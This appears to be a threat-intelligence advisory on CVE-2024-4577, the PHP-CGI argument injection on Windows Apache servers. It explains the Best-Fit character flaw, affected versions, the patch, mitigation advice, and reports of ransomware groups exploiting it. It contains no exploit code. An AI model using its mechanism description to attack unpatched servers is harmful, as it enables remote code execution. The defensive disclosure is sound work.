CVE-2024-4577

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 09/06 Upd 21/10

Overview

This vulnerability is a command-line argument injection flaw affecting the PHP CGI module on Windows platforms when used with Apache. The root cause lies in Windows' 'Best-Fit' character replacement behavior for certain code pages, which causes characters in command-line arguments passed to Win32 API functions to be misinterpreted. This misinterpretation leads the PHP CGI binary to erroneously parse these characters as PHP options, exposing a flaw in how PHP processes input arguments under specific locale settings.

Vulnerability Description

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.

Impact

An unauthenticated attacker can exploit this vulnerability remotely to inject command-line options into the PHP-CGI process, enabling disclosure of PHP source code and execution of arbitrary PHP code on the server. This leads to full system compromise including data exposure and unauthorized code execution. No user interaction or credentials are required, making it highly exploitable in default Apache and PHP-CGI Windows deployments using affected PHP versions.

Solution

Upgrade PHP to versions 8.1.29 or later, 8.2.20 or later, or 8.3.8 or later as specified in the PHP Group security advisory (https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv). Follow the vendor's official patch instructions to ensure the PHP-CGI module is updated. No effective workaround is recommended other than applying the official patches promptly.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from the interaction between the PHP CGI module and the Windows operating system, particularly when certain code pages are configured. In specific versions of PHP, when executed under Apache using the PHP-CGI interface, the system's "Best-Fit" behavior can lead to misinterpretation of command-line arguments. This occurs when characters that are not directly representable in the current code page are replaced with similar-looking characters. Consequently, this misinterpretation allows an attacker to manipulate command-line options passed to the PHP binary, potentially leading to unauthorized access to sensitive information, execution of arbitrary PHP code, or exposure of source code.

Attack vectors for this vulnerability are varied and can be exploited through several means. An attacker could craft a malicious request to a web application that relies on the PHP CGI interface, embedding specially formatted characters that the server misinterprets. This could occur through web forms, URL parameters, or even API calls. Once the attacker successfully injects these characters, they can manipulate the PHP execution environment, leading to unauthorized actions such as revealing sensitive files or executing arbitrary PHP scripts. The ease of exploitation, combined with the widespread use of PHP in web applications, makes this vulnerability particularly concerning.

The real-world impact of this vulnerability is significant, especially for businesses that rely on PHP-based applications. If exploited, an attacker could gain access to sensitive data, including user credentials, proprietary business logic, or other confidential information stored in PHP scripts. The potential for executing arbitrary code raises the stakes even higher, as it could lead to full server compromise, data breaches, and subsequent regulatory penalties. The business risks associated with such incidents include reputational damage, loss of customer trust, and financial losses stemming from remediation efforts and potential legal liabilities.

To detect and mitigate this vulnerability, organizations should first ensure that they are running the latest versions of PHP that have addressed this issue. Regular patch management practices are essential to minimize exposure to known vulnerabilities. Additionally, implementing strict input validation and sanitization can help prevent the injection of malicious characters into command-line arguments. Monitoring server logs for unusual activity or error messages related to PHP execution can also aid in early detection of attempted exploits. Organizations should consider employing web application firewalls (WAF) that can help filter out malicious requests before they reach the application layer.

In conclusion, the vulnerability stemming from the PHP CGI module's interaction with Windows code pages presents a critical risk to web applications using PHP. The potential for exploitation is high, given the commonality of PHP in web development. Organizations must prioritize timely updates, rigorous input validation, and proactive monitoring to safeguard against the risks associated with this vulnerability. By adopting a comprehensive security posture, businesses can better protect their assets and maintain the integrity of their web applications in an increasingly hostile cyber landscape.




CSURFACE threat intelligence has detected a marked escalation in activity exploiting CVE-2024-4577, with telemetry indicating a notable surge in attempts targeting PHP environments on Windows platforms. This increase coincides with the continued availability of multiple proof-of-concept exploits circulating publicly, which lowers the barrier for threat actors to weaponize this vulnerability. The involvement of ransomware groups such as akira, ransomhub, and sinobi underscores the growing operationalization of this flaw in financially motivated campaigns. While the EPSS score remains near maximum, the stable short-term trend suggests persistent exploitation rather than a sudden spike. For defenders, this heightened activity signals an increased likelihood of successful intrusions leveraging the PHP CGI module’s code page handling flaw, emphasizing the urgency of vigilance in monitoring and detection. The evolving threat landscape elevates the risk posture associated with CVE-2024-4577, reinforcing its critical status and the necessity for continued attention in security operations.



Update 2 — July 10, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-4577, with our telemetry indicating a significant uptick in attacker activity leveraging this PHP CGI vulnerability. This surge coincides with the emergence of multiple new proof-of-concept exploits on public repositories, broadening the accessibility of attack methods for less sophisticated threat actors. Notably, ransomware groups such as akira and sinobi continue to incorporate this vulnerability into their campaigns, underscoring its utility in facilitating initial access and lateral movement within compromised environments. The sustained high EPSS score combined with increased exploitation signals an elevated operational tempo among adversaries, heightening the risk of successful intrusions. For defenders, this development intensifies the urgency to monitor for indicators of exploitation and reinforces the criticality of timely patching. The threat level associated with CVE-2024-4577 has consequently risen, reflecting both the expanding exploitation landscape and the growing adoption by financially motivated threat actors.
